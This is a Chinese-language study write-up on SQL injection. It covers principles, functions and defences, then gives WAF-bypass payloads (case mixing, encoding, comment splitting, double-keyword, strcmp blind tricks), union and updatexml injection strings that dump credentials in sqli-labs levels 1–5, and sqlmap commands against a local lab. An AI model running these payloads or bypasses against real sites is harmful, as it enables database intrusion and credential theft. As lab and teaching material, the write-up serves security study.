一、总结SQL注入原理、SQL注入常用函数及含义,SQL注入防御手段,SQL注入常用绕过waf的方法
1.SQL注入原理
SQL注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
2.SQL注入常用函数及含义
-
UNION
:- 用途:合并两个或多个
SELECT
语句的结果集。 - 示例:
SELECT column1 FROM table1 UNION SELECT column2 FROM table2;
- 用途:合并两个或多个
-
UNION SELECT
:- 用途:通常与
UNION
一起使用,用于在注入点添加额外的查询,以检索或测试数据库中的其他数据。 - 示例:
' UNION SELECT version(), user() --
- 用途:通常与
-
SELECT
:- 用途:从数据库表中检索数据。
- 示例:
SELECT * FROM users;
-
GROUP_CONCAT
(MySQL):- 用途:返回一个字符串,该字符串是串联起来的非NULL值的集合。
- 示例:
SELECT GROUP_CONCAT(username, password) FROM users;
-
CONCAT
:- 用途:将两个或多个字符串连接成一个字符串。
- 示例:
SELECT CONCAT(username, ':', password) FROM users;
-
SUBSTRING
:- 用途:从字符串中提取子串。
- 示例:
SELECT SUBSTRING(password, 1, 1) FROM users;
-
ASCII
:- 用途:返回字符的ASCII码值。
- 示例:
SELECT ASCII('A');
-
LENGTH
:- 用途:返回字符串的长度。
- 示例:
SELECT LENGTH(password) FROM users;
-
IF
:- 用途:条件判断函数,根据条件返回不同的值。
- 示例:
SELECT IF(LENGTH(password)>5, 'Strong', 'Weak') FROM users;
-
SLEEP
(MySQL) /pg_sleep
(PostgreSQL):- 用途:使当前会话暂停执行指定的时间(秒)。
- 示例:
SELECT SLEEP(5);
-
BENCHMARK
(MySQL):- 用途:重复执行一个表达式多次,用于测试性能。
- 示例:
SELECT BENCHMARK(1000000, MD5('test'));
-
LOAD_FILE
(MySQL):- 用途:读取服务器上的文件内容。
- 示例:
SELECT LOAD_FILE('/etc/passwd');
-
USER()
:- 用途:返回当前数据库连接的用户名。
- 示例:
SELECT USER();
-
VERSION()
:- 用途:返回数据库服务器的版本。
- 示例:
SELECT VERSION();
-
DATABASE()
:- 用途:返回当前数据库的名称。
- 示例:
SELECT DATABASE();
3.SQL注入防御手段
(1)编码层面防御:
-
使用预编译的语句(Prepared Statements):
- 预编译的语句可以确保用户输入被当作参数处理,而不是SQL代码的一部分,从而有效防止SQL注入。
-
使用存储过程:
- 存储过程可以减少直接在应用程序中拼接SQL语句的需要,同时能够提供参数化查询。
-
使用ORM(对象关系映射):
- ORM工具通常自动使用参数化查询,减少直接书写SQL语句,降低SQL注入风险。
(2)输入验证和过滤:
-
严格验证输入:
- 对所有用户输入进行严格的验证,只接受符合预期格式和类型的数据。
- 使用正则表达式来限制输入格式。
-
类型检查和强制转换:
- 在将输入用于SQL查询之前,进行类型检查和强制转换。
-
使用安全的API和函数:
- 使用库和框架提供的API,这些API通常会提供防止SQL注入的机制。
(3)其他防御措施:
-
最小权限原则:
- 数据库连接应该使用权限最低的账户,仅提供执行必要操作所需的权限。
-
错误处理:
- 避免在用户界面上直接显示数据库错误信息,防止泄露数据库结构或提供攻击线索。
-
使用Web应用防火墙(WAF):
- WAF可以检测和阻止常见的SQL注入攻击模式。
-
安全配置数据库:
- 确保数据库系统配置得当,关闭不必要的特性,限制远程访问。
-
定期的安全审计和测试:
- 定期进行代码审计和安全测试,使用自动化工具和手动测试来发现潜在的安全漏洞。
-
数据加密:
- 对敏感数据进行加密存储,即使数据被泄露,攻击者也无法直接读取。
-
使用数据库防火墙:
- 数据库防火墙可以监控数据库活动,检测并阻止异常行为。
-
限制数据库功能:
- 禁用或限制数据库中可能被用于SQL注入攻击的功能,如存储过程、触发器等。
4.SQL注入常用绕过waf的方法
方法1:变换大小写
比如WAF拦截了union,那就是用Union、UnIoN等方式绕过。
方法2:编码
- WAF检测敏感字‘~’,则可以用编码0x7e代替
- WAF检测敏感字select,则可以在URL中将select变成%73elEcT,编码接合大小写变换绕过WAF
- 可以用%09、%0a、%0b、%0c、%0d、%a0、/**/、/*somewords*/等来替换空格
方法3:利用注释符
- 适用于WAF只过滤了一次危险的语句,没有阻断整个查询语句的场合。
- 原查询语句为:?id=1 union select 1,2,3 对于这条查询,WAF过滤了一次union和select,我们可以在原查询语句union和select之前再写一个注释的语句,让WAF把注释里面的过滤掉,
?id=1/*union*/union/*select*/select 1,2,3
方法4:重写
- 适用于WAF只过滤一次敏感字的情况
- WAF过滤敏感字union,但只过滤一次,则可以写出类似ununionion这样的,过滤一次union后就会执行我们的查询了:?id=1 ununionion select 1,2,3
方法5:比较操作符替换
适用于某一比较操作符(如等号)被过滤的情况
!=不等于,<>不等于,<小于,>大于,这些都可以用来替换 = 来绕过。
/?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))>73
/?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))<75
WAF将=、>、<、全部过滤,则可以利用like来绕过
?id=1' or 1 like 1
方法6:同功能函数替换
- 适用于某一函数被过滤的情况。
- 假如substring()被WAF过滤,但substring()可以用同功能的mid(),substr等函数来替换,都是用来取字符串的某一位字符的。
原查询语句
substring((select 'password'),1,1)=0x70
替换后的查询语句
substr((select 'password'),1,1)=0x70
mid((select 'password'),1,1)=0x70
方法7:盲注的活用
适用于页面无回显或多种函数、逻辑运算符被过滤的情况
- strcmp(expr1,expr2)用来比较两个值,如果expr1=expr2,则函数返回0,expr1<expr2则返回-1,expr1>expr2则返回1。
- 假如index.php?uid=123页面返回是正确的,但WAF过滤了and和or,原查询语句index.php?uid=123 and left((select hash from users limit 0,1),1)='B',可用index.php?uid=strcmp(left((select hash from users limit 0,1),1),0x42)+123来替换,通过盲猜hash的第一位,如果第一位等于0x42也就是B,那么strcmp()将返回0,0+123=123,所以页面应该是正确的。否则就说明不是B,这样猜就不用and和or了。
方法8:二阶注入
所谓二阶注入(又称存储型注入)是指已存储(数据库、文件)的用户输入被读取后再次进入到SQL查询语句中导致的注入。
二阶注入与普通注入的区别
- 普通SQL注入:发生在一个HTTP请求和响应中,对系统的攻击是立即执行的:(1)攻击者在http请求中提交非法输入;(2)应用程序处理非法输入,使用非法输入构造SQL语句;(3)在攻击过程中向攻击者返回结果。
- 二阶SQL注入:(1)攻击者在http请求中提交某种经过构思的输入;(2)应用程序存储该恶意输入(通常保存在数据库中)以便后面使用并响应请求;(3)攻击者提交第二次(不同的)http请求;(4)为处理第二次http请求,程序会检索存储在数据库中的恶意输入并进行处理,从而导致攻击者构造的SQL查询被执行;(5)如果攻击成功,在第二次请求响应中向攻击者返回查询结果。
方法9:宽字节注入
适用于数据库使用双字节编码方式(如GBK)WAF利用AddSlashes()等函数对敏感字符进行转义的场景。(利用字符编码的不统一)
背景:
- 统一的国际规范的理想状态:程序都使用Unicode编码,所有的网站都使用UTF-8编码。
- 现状:国内及国外(特别是非英语国家)的一些cms,仍然使用着自己国家的一套编码,比如GBK。也有一些cms为了考虑老用户,所以出了GBK和UTF-8两个版本。
二、sqli-labs通关前5关
第一关
输入?id=1进行尝试,发现存在注入点
加入’,判断为字符型注入
然后使用order by语句来判断数据库表格的列数,在测试到3时都显示正常,当测试到4时出现报错,所以列数为3
接下来使用联合查询语句?id=-1'union select 1,2,3--+判断字段在前端的回显位置
知道回显位置后,可以获取数据库名和版本
然后查询数据库表名
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
然后去查看users表中的内容,可知敏感信息时username和password
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
然后查找其具体内容
?id=-1' union select 1,2,group_concat(username , password) from users--+
第二关
同样尝试输入?id=1
输入‘,发现报错,推测为数字型注入
然后使用order by语句判断有3列
使用联合查询union select 判断回显位置
查询数据库名
查询数据库中表名
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
查询user表
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
查询数据
?id=-1 union select 1,2,group_concat(username , password) from users
第三关
判断类型,使用单引号报错,推断出sql语句是单引号字符型,闭合需要考虑括号
使用order by语句判断列数为3
判断回显
?id=-1') union select 1,2,3--+
查看数据库名和版本
查看数据库中表
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
查找列名
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
查看数据
?id=-1') union select 1,2,group_concat(username ,password) from users--+
第四关
输入?id=1”时报错
使用order by判断列数
查看回显位置
?id=-1") union select 1,2,3--+
显示数据库名和版本
?id=-1") union select 1,database(),version()--+
查看表
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
查找列名
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
查数据
?id=-1") union select 1,2,group_concat(username , password) from users--+
第五关
没有回显
使用order by查询字段数为3
没有回显,选择爆破注入
?id=1' and updatexml(1,concat(0x7e,database(),0x7e,version()),1) --+
查看security库所有表名
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,32)),1)--+
查找列名
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,32)),1) --+
查数据
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,id,password) from users),1,30)),1) --+
三、总结SQLi的手工注入的步骤
1) 判断是否存在注⼊点
1、登录 2、注册 3、留⾔ 4、验证⽤户身份所属 5、查询某⽇xx信息 6、订单操作 ……
2) 判断字段数量
在注⼊点后⾯添加语句【 order by int】,int的值可以是任意数字,但是⼀个数据表的字段数量通常不 超过10,若传的int值⼩于等于字段数量则正常回显,若⼤于字段数量,则⽆法正常回显
'order by number--+
-- 注释
在SQL中,--
是一种单行注释的开始。但是,--
后面必须紧跟一个空格(或其他非数字、非字母的字符),之后的所有内容才会被当作注释处理。所以如果--
后面直接跟了数字、字母或某些特殊字符(不包括空格),那么它不会被视为注释的开始,SQL解析器会尝试将--
作为查询的一部分来解析。
3)判断字段前端回显位置
在链接后⾯添加语句【 union select 1,2,3,4,5,6,7,8,9,10,#】进⾏联合查询来暴露可查询的字段号,看哪 些字段是可以返回给我们前端进⾏渲染的,不进⾏返回的字段我们⽆法利⽤
4) 判断数据库信息
- 利⽤内置函数暴数据库信息
- version() -- 版本;
- database() -- 数据库;
- user() -- ⽤户;
- 不⽤猜解可⽤字段暴数据库信息(有些⽹站不适⽤)
- and 1=2 union all select version() and 1=2
- union all select database() and 1=2
- union all select user()
- 操作系统信息:
- and 1=2 union all select @@global.version_compile_os from mysql.user
- 数据库权限:
- and ord(mid(user(),1,1))=114 -- 返回正常说明为root
5) 查找数据库名
Mysql 5 以上有内置库 information_schema 存储着mysql的所有数据库和表结构信息
union select information_schema from info rmation_schema.schemata (语句在显示位)
6)查找数据库表名
union select group_concat(table_name) from information_schema.tables where table_schema=database()--+
7)查找列名
-1' union select 1,(select group_concat(column_name) from information_schem a.columns where table_name='biaoming'),3,4#
8)查数据
-1' union select 1,(select columnsname from tablename),3,4#
四、使用sqlmap通过或验证第六关
使用python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-6/?id=1扫出注入漏洞
爆数据库
python .\sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-6/?id=1" --batch -dbs
查security数据库的表
python sqlmap.py -u 'http://127.0.0.1/sqli-labs-master/Less-6/?id=1' -D 'security' --tables
查询数据
python sqlmap.py -u 'http://127.0.0.1/sqli-labs-master/Less-6/?id=1' -D 'security' -T 'users' --dump